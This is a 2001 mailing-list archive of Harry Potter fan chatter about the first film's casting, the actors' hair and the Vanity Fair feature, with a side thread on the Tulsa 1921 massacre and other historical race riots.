or something?  I understand that VF hit newsstands yesterday or 
today in NY but will on the 11th everywhere else.  Because I'm 
just itchin' to go out and find a copy (or two) but if it's really
not out 
'til the 11th, I'd like to know for sure.  That way I don't have
49,000 
"Arghs" between now and then, ducking into every supermarket 
and bookstore only to find Penelope Cruz, don't you know?  :-D

-Joy the Lemur




From ebonyink at hotmail.com  Fri Sep  7 04:37:27 2001
From: ebonyink at hotmail.com (Ebony)
Date: Fri, 07 Sep 2001 04:37:27 -0000
Subject: Tulsa (was:  Oppression, Racism and Other Happy Things)
In-Reply-To: <9n4ahm+4jdi@eGroups.com>
Message-ID: <9n9iu7+gtde@eGroups.com>

--- In HPFGU-OTChatter at y..., "L. Inman" <linman6868 at a...> wrote:
> > I am from Tulsa, Oklahoma, home of The Race Riot that expands in 
ever-widening news circles since the State Commission was formed on 
the subject, and you wouldn't believe the "collective amnesia" that 
some whites attempt to enforce even 80 years later.  Or perhaps you 
would.
> 

What Lisa is referring to is the Tulsa riot in 1921, during which 
just about the entire black business district was burned to the 
ground.  Estimated deaths--300.  Estimated injuries--800.

But the thing is, back in the Golden Age of American history Tulsa 
happened over and over again.  It happened in Rosewood, a place about 
50 miles away from where my mother's family is from.  It happened in 
a town in Alabama that my grandfather would never name, when he was 
three years old.  It happened time and time again.

What gets me is that our nation chooses to amplify Watts 1965, 
Detroit 1967, and L.A. 1992.  This is why the word "riot" now 
connotes an out-of-control, angry sea of black faces.

"Riot" used to mean something altogether different.  And it looked a 
whole lot different too.  

We choose to silence Wilmington 1898, Atlanta 1906, St. Louis 1917, 
Chicago 1919, Tulsa 1921, Rosewood 1922, Detroit 1922 and 1943... and 
I could go on.  I would wager that only a handful of Americans know 
about the Red Summer of 1919, when my great-grandfather and thousands 
of other black men (mostly servicemen returning from WWII) were 
lynched.  Damage claims?  Wrongful death suits?  Whatever.

The problem is that people know next to nothing about what was going 
on in black America after Reconstruction and before the Second World 
War.  Few know about the Exodusters, about the number of business and 
cultural districts when building the nation's highway system, about 
all-black townships whose biggest problem was digging a new well.  
Writer Zora Neale Hurston grew up in one of these towns.

What I liken this to is the practice of obliterating records in 
ancient times.  

In closing, Lisa, you might have more in common with the blacks in 
your community than you think.  Let me give a personal example from 
here at HP4GU... Sunday chat last week.
  
The topic of hip-hop music came up.  One or two people (can't 
remember when or how) expressed surprise that I'm an avid listener of 
rap music, and said that I didn't "seem" like someone who was into 
hip-hop culture.  I found that hilarious!  Not only have I loved rap 
music since I was little (*real* rap--not some of the crap that 
they're trying to pass off for it these days!), I've written critical 
articles about hip-hop culture *and* for a brief second in the middle 
of high school was part of a ragtag group of girl rappers.  (Rap is 
the music, hip-hop is the surrounding culture including art, 
clothing, attitude, etc.).  I listen in every category now, but my 
zone is definitely stuff with bass.  ;-)
 
Now, if we'd all met at, say, an online music conference, I'd say 
that most people would say they didn't have all that much in common 
with me.  I'd definitely be in the urban section of things (rap, R&B, 
soul, gospel, some Latin, some reggae and world music, and some 
pop)... 90% of the time when people talk about music around the 
fandom I'm totally lost.  And I daresay that if I began to start 
going on and on about artists who are often the topics of *Source* 
and *Vibe* articles, and host BET's 106&Park, lots of my friends 
would be lost.  So I don't... I have other outlets for that interest 
of mine.

Since we're all around these parts to discuss Harry Potter, we all 
have at least that in common.  Often we find that we have many, many 
other things in common as well.

Because of my burgeoning interest in speculative fiction in general, 
and Rowling's lovely series in particular, I've ventured out of my 
comfort zone quite a bit.  And I've been a better person thanks to 
all the wonderful folks I've met through the fandom.

That really has nothing to do with race and culture.  Has everything 
to do with being human.

--Ebony AKA AngieJ (who spent an entire summer in high school at 
Michigan doing a sociology research project on 20th-century American 
riots, and that selfsame summer wishing she could marry Tupac 
Shakur.  Ah, 1992.)




From mlpmama at yahoo.com  Fri Sep  7 04:42:18 2001
From: mlpmama at yahoo.com (mlpmama at yahoo.com)
Date: Fri, 07 Sep 2001 04:42:18 -0000
Subject: Last Chapter of WAiSaD
Message-ID: <9n9j7a+dsss@eGroups.com>

Well, if you didn't know, the last chapter of "When All is Said and 
Done" by the Glitterpixie has just been posted to the files section 
WAiSaD group.

I'm really anxious to know what you all think.

~TGP

http://groups.yahoo.com/group/WAiSaD




From ebonyink at hotmail.com  Fri Sep  7 04:45:49 2001
From: ebonyink at hotmail.com (Ebony)
Date: Fri, 07 Sep 2001 04:45:49 -0000
Subject: Silly Harry/Longer Running Time
Message-ID: <9n9jdt+ted0@eGroups.com>

Hey!

Dan doesn't look silly on the cover!  Aw... leave the kid alone.  
Because we read the books first, he'll never be the 100% mental image 
of Harry.  But he seems to be doing just fine from all indications.  

And yay! on the longer running time.  I will be there for all 142 (or 
is it 148?  Oh, PLEASE say 8!) glorious (I hope!) minutes of it.

Best of all, my favorite scene and one of my favorite moments in the 
series to date are in PS.  My fave scene is the Devil's Snare.  One 
of my pet moments comes a few short pages later... Cassie posted over 
on FAPark about it... and no, they are not going to cut that out!  My 
shipmates are already planning to revolt if they do.

--Ebony AKA AngieJ AKA Still On The Same (Great) Ship




From s_ings at yahoo.com  Fri Sep  7 04:56:32 2001
From: s_ings at yahoo.com (Sheryll Townsend)
Date: Thu, 6 Sep 2001 21:56:32 -0700 (PDT)
Subject: [HPFGU-OTChatter] Tulsa (was:  Oppression, Racism and Other Happy Things)
In-Reply-To: <9n9iu7+gtde@eGroups.com>
Message-ID: <20010907045632.11781.qmail@web14605.mail.yahoo.com>


--- Ebony <ebonyink at hotmail.com> wrote:
> What Lisa is referring to is the Tulsa riot in 1921,
> during which 
> just about the entire black business district was
> burned to the 
> ground.  Estimated deaths--300.  Estimated
> injuries--800.
> 
> But the thing is, back in the Golden Age of American
> history Tulsa 
> happened over and over again.  It happened in
> Rosewood, a place about 
> 50 miles away from where my mother's family is from.
>  It happened in 
> a town in Alabama that my grandfather would never
> name, when he was 
> three years old.  It happened time and time again.
> 
> What gets me is that our nation chooses to amplify
> Watts 1965, 
> Detroit 1967, and L.A. 1992.  This is why the word
> "riot" now 
> connotes an out-of-control, angry sea of black
> faces.
> 
> "Riot" used to mean something altogether different. 
> And it looked a 
> whole lot different too.  
> 
> We choose to silence Wilmington 1898, Atlanta 1906,
> St. Louis 1917, 
> Chicago 1919, Tulsa 1921, Rosewood 1922, Detroit
> 1922 and 1943... and 
> I could go on.  I would wager that only a handful of
> Americans know 
> about the Red Summer of 1919, when my
> great-grandfather and thousands 
> of other black men (mostly servicemen returning from
> WWII) were 
> lynched.  Damage claims?  Wrongful death suits? 
> Whatever.
> 
> The problem is that people know next to nothing
> about what was going 
> on in black America after Reconstruction and before
> the Second World 
> War.  Few know about the Exodusters, about the
> number of business and 
> cultural districts when building the nation's
> highway system, about 
> all-black townships whose biggest problem was
> digging a new well.  
> Writer Zora Neale Hurston grew up in one of these
> towns.
> 
> What I liken this to is the practice of obliterating
> records in 
> ancient times.  

<much snippage of second half of Ebony's post>

I'll be the first person to publically admit to
ignorance regarding almost everything you mentioned.
Any possibility you could point me in the direction of
some information that would educate me? The only one
you mentioned that I know anything about is Rosewood,
and my knowledge there comes only from a handful of
articles and the movie.

Sheryll, always willing to delve into a stack of books
or anything else that will provide me with a better
education

****
Currently reading: The Holocaust Chronicle: A History
in Words and Pictures (the book my daughter asked for
and was given for her 18th birthday)
****

__________________________________________________
Do You Yahoo!?
Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger
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From saitaina at wizzards.net  Fri Sep  7 10:27:07 2001
From: saitaina at wizzards.net (Saitaina)
Date: Fri, 7 Sep 2001 03:27:07 -0700
Subject: MOVIE: Draco and Harry's Hair
References: <20010907045632.11781.qmail@web14605.mail.yahoo.com>
Message-ID: <00a301c13787$a61fd060$1c4e28d1@oemcomputer>

Okay, most of this bit on Draco's hair I posted to another list and can't be
arsed to do more then cut and post but there are new bits.

Tom Felton's hair is actually a light, light brown, while the colour leans
towards the blonde it is on the brown side of the hair spectrum so they had
to dye his hair to achieve colourless and that is what his hair is.  You
only notice how "yellow" it is because it's all slicked back and light is
reflecting off of it.

It's hard to explain but my hair has been bleached and I have the same hair
colour in pictures that he does, but in daylight I'm two bleaches away from
white blond with no single stand (save for the bottom of my hair) having a
piece of the colour spectrum in it.

It's not a natural blonde colour granted  (how many blondes to you know with
yellow hair under florescent light only?) but it is a viable colour for the
character of Draco.  You don't get silver blonde with bleaching..you get
golden.  And what better colour to associate with our favorite rich boy then
gold? :)

And on the other upside, if they bleach his hair to change it's colour
(other then maintenance bleaching) it'll fall out.  You go from golden to
bald very quickly, I nearly lost my bangs in my bleaching process.

My problem is the gel!  I'm sorry but I still do not think they should have
used so much shellac (a mis-spelled but actually used product in movie
hairstyling's where your hair will not move even under nuclear attack...or
so they say.)  If you notice in the trailers...the boy's hair DOES NOT MOVE,
not a wisp, and it's irking me to no end.  when you spin around or throw
something, hair that short usually moves...but his...never.  GRRR, lay off
the shellac Mr./Ms. Hairdresser!

Okay, now Harry's hair REALLY irks me.  And it's not the colour I'm talking
about.  What does perpetually messy mean to you?  To me it means enough
moose to keep it standing on end throughout a scene, pleasantly tousled by
hand with a few re-arranging minutes spent on the spikes to make it look
nice and over all messy.  I know, I've taken stage make up classes and had
to do the mad scientist for a friend of mine before he ran onstage and no
one could figure it out.  It's not that hard to do actually...maybe Tom used
all the moose, gel and Shellac on his hair?  Well whatever the problem is,
Harry's hair is completely off the mark for the characters.  It looks like
the hairdresser took a brush, ran it backwards through his hair (not even
all his hair just the bangs), spritzed and sent him off instead of taking
the five minutes it would take to give his hair lovely peaks and that
over-all just-got-outta-bed-after-tossing-and-turning look.

I still say, how hard is it to give them both proper hairdo's?  Rip the
shellac from Tom's hands, cover Daniel's hair in moose, work in, palm his
head in your hand and shake, artfully arrange the resulting spikes, spray
with the shellac and send them off to a day of filming. Then go laugh as
wardrobe gets picked on by internet fans.


On a side note though, I do like Emma's hair, after all, she's not naturally
curly nor do I think she has a perm, and her frizzyness is quite nice for
someone with strait or wavy hair.  It's hard to get the fuzzball look
without said curls or perm because that's what frizzies result from but they
have achieved it quite nicely on her hair.  And Rupert's red hair has fit my
Ron perfectly though I keep picturing him taller, but he is 11 and Ron
Weasley did not technically hit a growth spurt till book two at the earliest
(I do not recall him being taller then Harry before that, if any of you do
and I am mistaken I apologize, PS/SS was never my favorite book so I don't
have it memorized).

Saitaina
*****
"I should go help," Willow said. "Or Giles is liable to speak English and no
one will understand him."-Willow,"Master of Puppets", by Saber
ShadowKitten-Buffy the Vampire Slayer-fanfic

"I'm not listening to you. I am at one. I am at peace with all living things
and if you break my concintration, I will break your legs."-Angel, "The
Florida Vacation"-Buffy the Vampire Slayer-fanfiction

"That's allright, Harry." said Dumbledore cheerfully. "We'll give you
another two years and then we'll feed you to a balisk."-Dumbledore,"Draco
Dormiens, by Cassandra Claire-Harry Potter-fanfic






From aiz24 at hotmail.com  Fri Sep  7 12:21:23 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Fri, 07 Sep 2001 12:21:23 -0000
Subject: MOVIE: Draco and Harry's Hair
In-Reply-To: <00a301c13787$a61fd060$1c4e28d1@oemcomputer>
Message-ID: <9nae43+qm9b@eGroups.com>

I agree with you, Saitaina.

Ron *is* supposed to be tall from the start.  I don't believe it ever 
says specifically "taller than Harry," but Harry is short for his age 
and Ron is noticeably tall (see ch.6 on the platform, & very beginning 
of ch. 8--nah, just reread the whole book, never mind that it isn't 
your favorite, it's still incredibly good!!).  It's true, though, that 
since the actors are kids they will shoot up unpredictably.  Rupert 
could be a head taller than Daniel by now, or for that matter, if he'd 
started out taller he could end up shorter.

Amy Z




From bray.262 at osu.edu  Fri Sep  7 09:02:46 2001
From: bray.262 at osu.edu (Rachel Bray)
Date: Fri, 7 Sep 2001 09:02:46 EST5EDT
Subject: E! and the Vanity Fair article
Message-ID: <11C2B84965@lincoln.treasurer.ohio-state.edu>

E! News daily did a special this morning on the Vanity Fair 
issue.  They showed the pictures of the ghosts.  
HYSTERICAL!  John Cleese is holding his head up!  So cute!

Great picture of Alan Rickman, too.  

*sigh* If mine doesn't show up soon I'm going to scream!  
I'm too impatient to wait for Tuesday when they go onsale!

Rachel Bray
The Ohio State University
Fees, Deposits and Disbursements

"Could have been edited by a crack-addicted ferret with
ADD who just downed a half dozen Pixie Stix."
                       - review of Moulin Rouge



From sofie_elisabeth at yahoo.co.uk  Fri Sep  7 13:49:12 2001
From: sofie_elisabeth at yahoo.co.uk (Sofie )
Date: Fri, 07 Sep 2001 13:49:12 -0000
Subject: New Fiction site
Message-ID: <9naj8o+kquk@eGroups.com>

This isn't fanfic but it's  a site of short stories and poems written 
by me and one of my friends. We will be taking on more authors once 
we've got the hang of the whole website management. Anyway take a 
look. The address is:

http://www.geocities.com/frog_and_rose/Fab_Fiction.html

Cheers,
Sofie xxx




From cynthiaanncoe at home.com  Fri Sep  7 14:42:06 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Fri, 07 Sep 2001 14:42:06 -0000
Subject: Jim Dale at Scholastic
In-Reply-To: <F1603gc8HvDHoSPfdci00005235@hotmail.com>
Message-ID: <9nambu+n9i0@eGroups.com>

--- In HPFGU-OTChatter at y..., "Ali Wildgoose" <diagonalley_ at h...> 
wrote:
> 
> >
> 
> I'm actually working during the Jim Dale visit.  Dunno how much 
attention 
> I'll be able to pay to him, but at least I'll be there...and who 
knows?  
> Maybe we'll all hang in the back room together for a bit ;}
> 
> 


Ali,

You mission, should you choose to accept it, is to sneak a peek at 
Jim Dale and tell me what he looks like.  In my mind, he is 6 feet, 
handsome, with thick, dark hair and glasses that make him look smart.

Cindy




From cynthiaanncoe at home.com  Fri Sep  7 14:56:27 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Fri, 07 Sep 2001 14:56:27 -0000
Subject: Cover photo
In-Reply-To: <9n91ju+ihbr@eGroups.com>
Message-ID: <9nan6r+80c9@eGroups.com>

> Amy wrote:
> 
> I'm gonna second Al on this one--Daniel Radcliffe doesn't =look= 
like 
> my Harry (nor does Rupert Grint look a thing like my Ron)*, but he 
> =acts= exactly right.  

Well, thank goodness!  I'm so pleased to hear that.  I'll give the 
filmmakers a LOT of leeway on appearances of the characters, but darn 
it, they have to be able to act.  There is nothing -- nothing -- 
worse in a film than a child actor who can't act.  And if they can't 
act, it only gets worse as they get older when they can't rely on 
cuteness anymore.  So you've all made me feel much better.

I'm more than willing to overlook things like Ron's height.  As for 
Emma's hair, I think it is perfect and very witch-like.  I also like 
the fact that Emma is younger and seems smaller.

As for Dan's hair not being sufficiently messy, or Emma's not being 
bushy, I don't mind.  If you try to overdo these things, you can have 
actors end up looking like caricatures.  Better to just have the kids 
look natural.  

And that is where things seem to have gone badly amiss with Draco.  
The hair looks way wrong; someone tried way to hard to make him match 
the book.  I think they wanted to find a way to have him stand out in 
a sea of students.  I'll give the filmmakers a pass on this, because 
mistakes do happen.  But I only give out one pass.

Cindy (who will buy just this one issue of Vanity Fair, if you all 
promise not to tell anyone)




From diagonalley_ at hotmail.com  Fri Sep  7 15:25:59 2001
From: diagonalley_ at hotmail.com (Ali Wildgoose)
Date: Fri, 07 Sep 2001 11:25:59 -0400
Subject: [HPFGU-OTChatter] Re: Jim Dale at Scholastic
Message-ID: <F204BAjOIXvDlAU97lj00005ca0@hotmail.com>


>You mission, should you choose to accept it, is to sneak a peek at
>Jim Dale and tell me what he looks like.  In my mind, he is 6 feet,
>handsome, with thick, dark hair and glasses that make him look smart.

Actually, I'm rather hoping to get actual, physical evidence of our 
interaction.  The store keeps a couple of polaroid cameras on hand for 
events....and hey, you never know....we could get a little punchy while 
waiting in the back room, and I casual suggestion of, "Hey! Let's all take a 
picture together!" might actually work.

muaha.

Ali
(scheming)

http://home.nyu.edu/~amw243 :: Diagon Alley
Harry Potter for Slightly Older Folk

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From diagonalley_ at hotmail.com  Fri Sep  7 15:33:24 2001
From: diagonalley_ at hotmail.com (Ali Wildgoose)
Date: Fri, 07 Sep 2001 11:33:24 -0400
Subject: [HPFGU-OTChatter] Re: MOVIE: Draco and Harry's Hair
Message-ID: <F217s0ubjFxJk7mZ49w000080bb@hotmail.com>


>Ron *is* supposed to be tall from the start.  I don't believe it ever
>says specifically "taller than Harry," but Harry is short for his age
>and Ron is noticeably tall (see ch.6 on the platform, & very beginning
>of ch. 8--nah, just reread the whole book, never mind that it isn't
>your favorite, it's still incredibly good!!).  It's true, though, that
>since the actors are kids they will shoot up unpredictably.  Rupert
>could be a head taller than Daniel by now, or for that matter, if he'd
>started out taller he could end up shorter.

According to the VF article, Rupert is two years older than Daniel, thus 
almost assuring that his growth spurt will take hold before Dan's.  I don't 
know if this was an intentional move by the filmmakers, or if they just 
really liked Rupert...either way, things should work out all right.

Ali

http://home.nyu.edu/~amw243 :: Diagon Alley
Harry Potter for Slightly Older Folk


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From catherine at cator-manor.demon.co.uk  Fri Sep  7 15:36:53 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Fri, 07 Sep 2001 15:36:53 -0000
Subject: Vanity Fair
Message-ID: <9napil+a86r@eGroups.com>

Well, I was relieved that the Brits on the list (including me) 
haven't had to wait to pick up copies of Vanity Fair.  I bought mine 
this morning, and in the nick of time, too, as WHSmiths at Charing 
Cross had almost sold out already.

I mainly agree with what John says on the main list.  The photo of 
the ghosts was very disappointing.  The Bloody Baron in no way looks 
menacing enough - and why isn't the blood silvery - coloured?

My favourite picture has to be Harry in his cupboard.  The expression 
on Daniel Radcliffe's face is just perfect.

BTW:  People have been conjecturing about what scenes will be cut 
from the movie, and came up with Norbert.  Having read the article 
and the interviews, it seems that the plotline with Norbert was 
kept.  So what else could be missing?

Catherine




From catherine at cator-manor.demon.co.uk  Fri Sep  7 15:50:40 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Fri, 07 Sep 2001 15:50:40 -0000
Subject: Cover photo/Daniel's acting abilities.
In-Reply-To: <9n91ju+ihbr@eGroups.com>
Message-ID: <9naqcg+m40k@eGroups.com>

--- In HPFGU-OTChatter at y..., "Amy Z" <aiz24 at h...> wrote:
> I'm gonna second Al on this one--Daniel Radcliffe doesn't =look= 
like 
> my Harry (nor does Rupert Grint look a thing like my Ron)*, but he 
> =acts= exactly right.  I think he's pretty serious, appropriately--
he 
> doesn't crack too many smiles in the trailer and seems to be 
> refreshingly understated, especially for a child actor> 

**"Understated" is high praise in my aesthetic.  It might help you to 
> know that Burt Lancaster is one of my favorite actors.

I totally agree with this.  Understated is equally high praise from 
me as well (I hate these really precocious child actors who 
don't "act" they "over emote" ) , and Daniel Radcliffe is 
understatement personified, from what I've seen.  I feel as though I 
can tell what he is thinking from minute changes in facial 
expression - and it means that when he does actually break into a 
smile/laugh, such as at the end of the first trailer, it is so much 
more effective.  Chris Columbus makes some comment about Dan 
Radcliffe bringing the depth needed to the role.  He says that they 
needed someone who could portray "a feeling that they had lived a 
life and were slightly haunted, slightly wounded."  As far as I can 
tell, he does this.

I watched him in David Copperfield again recently, and his 
performance in that had the same qualities, so I am hoping that he 
will be as good in HP.  Interesting that he's acting opposite Maggie 
Smith and Zoe Wanamaker again.

Catherine
BTW: It also says that a British critic was criticising the sets of 
the film for being too clean and not distressed enough.  Had they not 
heard of House Elves and Mrs Skower's All-Purpose Mess Remover etc???




From hamster8 at hotmail.com  Fri Sep  7 16:34:45 2001
From: hamster8 at hotmail.com (hamster8 at hotmail.com)
Date: Fri, 07 Sep 2001 16:34:45 -0000
Subject: Sim Potter
Message-ID: <9nasv5+g5pq@eGroups.com>

I recall, I think, someone posting something to the group a while 
back about HP downloads for Maxis' The Sims, and knowing how good 
you've all been on previous requests of mine, I was wondering if 
anybody could give me a URL?

Thanks
Al

-Where schnoogling happens a lot, and we think Nancy Stouffer is hot.
-Review Time of Trial 8 today!  Visit http://www.schnoogle.com




From bkdelong at pobox.com  Fri Sep  7 16:47:27 2001
From: bkdelong at pobox.com (B.K. DeLong)
Date: Fri, 07 Sep 2001 12:47:27 -0400
Subject: [HPFGU-OTChatter] Sim Potter
In-Reply-To: <9nasv5+g5pq@eGroups.com>
Message-ID: <5.0.2.1.2.20010907124719.03993700@brain-stream.com>

At 04:34 PM 09/07/2001 +0000, you wrote:
>I recall, I think, someone posting something to the group a while
>back about HP downloads for Maxis' The Sims, and knowing how good
>you've all been on previous requests of mine, I was wondering if
>anybody could give me a URL?

http://www.the-leaky-cauldron.org/2001_07_29_archive.html#4818859


--
B.K. DeLong
bkdelong at pobox.com
617.877.3271

http://www.brain-stream.com               Play.
http://www.the-leaky-cauldron.org        Potter.
http://www.attrition.org                       Security.
http://www.artemisiabotanicals.com     Herb.




From meboriqua at aol.com  Fri Sep  7 16:59:28 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Fri, 07 Sep 2001 16:59:28 -0000
Subject: Tulsa (was:  Oppression, Racism and Other Happy Things)
In-Reply-To: <9n9iu7+gtde@eGroups.com>
Message-ID: <9naudg+dnp6@eGroups.com>

--- In HPFGU-OTChatter at y..., "Ebony" <ebonyink at h...> wrote:
 
> We choose to silence Wilmington 1898, Atlanta 1906, St. Louis 1917, 
> Chicago 1919, Tulsa 1921, Rosewood 1922, Detroit 1922 and 1943... 
and  I could go on.>

You could definitely compare these events to the Japanese-American 
internment camps during WWII.  Very little mention of them is made in 
history books.  When I was in high school, my 11th grade history book 
did not *mention* the word "holocaust" even once.  I remember this 
because I went with a friend to complain to our headmaster, who 
ignored us.  Now "history revisionists" are going all-out to "prove" 
that the Holocaust never happened at all.

Ebony, you and I both know that people are very quick to erase things 
that they are ashamed of; governments and history books are no 
different.
>   
> The topic of hip-hop music came up.  One or two people (can't 
> remember when or how) expressed surprise that I'm an avid listener 
of  rap music, and said that I didn't "seem" like someone who was 
into  hip-hop culture.>

I hear you!  Raul and I are stared at in public often enough for me 
to notice.  People are always surprised when I explain that my 
boyfriend is Puerto Rican.  "Really?" is always the response.
  
> Since we're all around these parts to discuss Harry Potter, we all 
> have at least that in common.  Often we find that we have many, 
many  other things in common as well.>

Yes, but boy, do I looooove talking about Harry!

--jenny from ravenclaw ********************************************






From dfrankiswork at netscape.net  Fri Sep  7 16:59:36 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Fri, 07 Sep 2001 16:59:36 -0000
Subject: Silver blood
In-Reply-To: <9napil+a86r@eGroups.com>
Message-ID: <9naudo+oq65@eGroups.com>

--- In HPFGU-OTChatter at y..., catherine at c... wrote:
The Bloody Baron in no way looks 
> menacing enough - and why isn't the blood silvery - coloured?

I've always wondered - how do they know it's blood?  I'm not 
surprised the movie has changed this: nobody who didn't already know 
would understand without a little cameo in which the characters 
discuss it.

David, wondering if Vanity Fair is available in Britain outside the 
West End of London




From catherine at cator-manor.demon.co.uk  Fri Sep  7 17:18:41 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Fri, 07 Sep 2001 17:18:41 -0000
Subject: Silver blood
In-Reply-To: <9naudo+oq65@eGroups.com>
Message-ID: <9navhh+no3g@eGroups.com>

--- In HPFGU-OTChatter at y..., dfrankiswork at n... wrote:
> --- In HPFGU-OTChatter at y..., catherine at c... wrote:
> The Bloody Baron in no way looks 
> > menacing enough - and why isn't the blood silvery - coloured?
> 
> I've always wondered - how do they know it's blood?  I'm not 
> surprised the movie has changed this: nobody who didn't already 
know 
> would understand without a little cameo in which the characters 
> discuss it.

But they do discuss it - at least someone (Seamus?) asks Nearly 
Headless Nick what happened to him to make him covered in blood, and 
NHN say that he's never asked.

> 
> David, wondering if Vanity Fair is available in Britain outside the 
> West End of London

I don't think it's available.  I asked at my newsagents in Blackheath 
this morning and they said that it wouldn't be in until next week - 
yet 20 mins on the train to the West End, it's there and selling 
out.  Bizarre.

Catherine






From cynthiaanncoe at home.com  Fri Sep  7 18:50:45 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Fri, 07 Sep 2001 18:50:45 -0000
Subject: Vanity Fair
In-Reply-To: <9napil+a86r@eGroups.com>
Message-ID: <9nb4u5+b45g@eGroups.com>

--- In HPFGU-OTChatter at y..., catherine at c... wrote:
> BTW:  People have been conjecturing about what scenes will be cut 
> from the movie, and came up with Norbert.  Having read the article 
> and the interviews, it seems that the plotline with Norbert was 
> kept.  So what else could be missing?
> 
>

If you told me to cut 5% of the book for the movie, I'd:

Shorten the opening scene to eliminate Vernon's trip to the office; 
just start with McGonagall and Dumbledore, Hagrid arrives, they drop 
the baby on the doorstep, and roll the opening credits.

I'd cut Peeves completely out of the movie (sorry about that).

Cut the business about the midnight duel (they can find out about 
Fluffy some other way).

Cut the entire troll knock-out scene.

Shorten Norbert's scenes.

I hope that's 5%.

Cindy




From diagonalley_ at hotmail.com  Fri Sep  7 19:23:26 2001
From: diagonalley_ at hotmail.com (Ali Wildgoose)
Date: Fri, 07 Sep 2001 15:23:26 -0400
Subject: [HPFGU-OTChatter] Re: Vanity Fair
Message-ID: <F40G6L5kuquqmgPhulV00009a8c@hotmail.com>

>If you told me to cut 5% of the book for the movie, I'd:

<snip>

I know the troll and the post-duel fluffy encounter are in there, because 
both are in the previews.

As for Peeves...well, this IS primarily a kids movie, like it or not...and 
kids adore Peeves.  They think he's hilarious.  And if you cut him out 
entirely, that would mean he wouldn't be able to sing "Oh Potter, You 
Rotter!" in CoS, which would be a shame indeed. ;}

I think that cutting out Vernon's day at work is a possibility...though they 
might go the other way and cut out Dumbledore and Minerva's midnight chat, 
opting to make Harry's wizarding nature more of a "surprise"....but I hope 
not.  I really want to see Hagrid on that giant motorcycle, and it's a great 
moment.

ugh.  I really need to read SS again, I'm running out of ideas.

Ali

http://home.nyu.edu/~amw243 :: Diagon Alley
Harry Potter for Slightly Older Folk

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From macloudt at yahoo.co.uk  Fri Sep  7 19:35:21 2001
From: macloudt at yahoo.co.uk (macloudt at yahoo.co.uk)
Date: Fri, 07 Sep 2001 19:35:21 -0000
Subject: Vanity Fair
In-Reply-To: <F40G6L5kuquqmgPhulV00009a8c@hotmail.com>
Message-ID: <9nb7hp+ioc0@eGroups.com>

That's it!!  I simply must get to town tomorrow and see if I can get 
my hands on a copy as well, though if people living in the London 
area are having problems, I don't hold out much hope for me.  Living 
in Weston-super-Mare, I'm grateful I have electricity and hot water.

On another topic, could one of you groovy people please clear 
something up for me?  What on earth is the Order/Brethren of the LOON?

Thanks in advance!

Mary Ann :)

"A wise man never plays leapfrog with a unicorn"




From blpurdom at yahoo.com  Fri Sep  7 21:40:03 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Fri, 07 Sep 2001 21:40:03 -0000
Subject: MOVIE: Draco and Harry's Hair
In-Reply-To: <F217s0ubjFxJk7mZ49w000080bb@hotmail.com>
Message-ID: <9nberj+ntee@eGroups.com>

--- In HPFGU-OTChatter at y..., "Ali Wildgoose" <diagonalley_ at h...> 
wrote:
> 
> >Ron *is* supposed to be tall from the start.  I don't believe it 
ever says specifically "taller than Harry," but Harry is short for 
his age and Ron is noticeably tall [snip]

JKR does call Ron tall, but it is the fact that Dean Thomas is said 
to be even taller than him (during the sorting) that implies that 
Ron's height is already extraordinary for an eleven-year-old.  

> According to the VF article, Rupert is two years older than Daniel, 
thus almost assuring that his growth spurt will take hold before 
Dan's.  I don't know if this was an intentional move by the 
filmmakers, or if they just really liked Rupert...either way, things 
should work out all right.
 
Actually, this was probably because most child actors look young for 
their years and routinely play characters younger than themselves so 
that directors can work with people who are older mentally.  Child 
actors also need to be extremely obedient.  There are a lot of rules 
on film sets, and a myriad of ways to be injured.  Although many 
people oohed and aahed over my son and daughter when they were small 
(they're still very cute, but people do this less with 2nd and 4th 
graders) I never even considered taking them for screen tests, as was 
frequently suggested.  I have two reasons.

1) They're both big for their ages, not small.  I have a 7-year-old 
girl who can pass for 8 or 9 and an almost 9-year-old boy who is 
routinely mistaken for 10 or 11.  Directors want a 7-year-old who can 
pass for a 5-year-old.  (The older child is more likely to be able to 
read, as well.)

2) The obedience thing.  I love my kids.  However, it sometimes seems 
to take three or four times of repeating instructions before they 
even acknowledge I've said anything (their own little worlds).  A 
friend of mine who had a son who looked remarkably like he could be a 
baby Draco Malfoy (platinum blond hair, large grey eyes) was 
repeatedly told her son should be screen tested, so she finally did 
it.  Boy, did she get a surprise.  Her son was put in a room with 
about thirty other toddlers.  A drill-sergeantesque woman barked 
orders at them.  (Simple ones: stand up, sit down, turn this way and 
that, smile, frown, etc.)  After each order, there would be some kids 
who had done as asked, but most had not.  Any kid who had not 
executed the order correctly was out.  In no time, the number of 
toddlers was narrowed to three.  According to the agent, probably 
only one of the three would ever get any paying work, and would 
probably not work past the age of six.  My friend's son lasted one 
round.  (He was tired and happened to sit when told, but it was a 
coincidence.  When he was almost immediately told to stand again, he 
refused.)

This is one reason why children who start in show business at very 
young ages seldom continue into later childhood, let alone adulthood 
(Jody Foster being a notable exception).  At this stage, they aren't 
being screened for acting ability but for how easily the director can 
order them around.  Dan, Emma and Rupert are at the age when acting 
ability starts to have some bearing on their work, but it is still 
older children who can play younger who are more likely to get jobs.

--Barb





From joy_the_lemur at yahoo.com  Fri Sep  7 22:13:40 2001
From: joy_the_lemur at yahoo.com (joy_the_lemur at yahoo.com)
Date: Fri, 07 Sep 2001 22:13:40 -0000
Subject: VF Magazine--locations?
In-Reply-To: <9n9hgf+cslf@eGroups.com>
Message-ID: <9nbgqk+ca28@eGroups.com>

--- In HPFGU-OTChatter at y..., joy_the_lemur at y... wrote:
>
> Hear hear!  I'm positively *pine* green with envy!  
> 
> Do those people who already have it live in New York or 
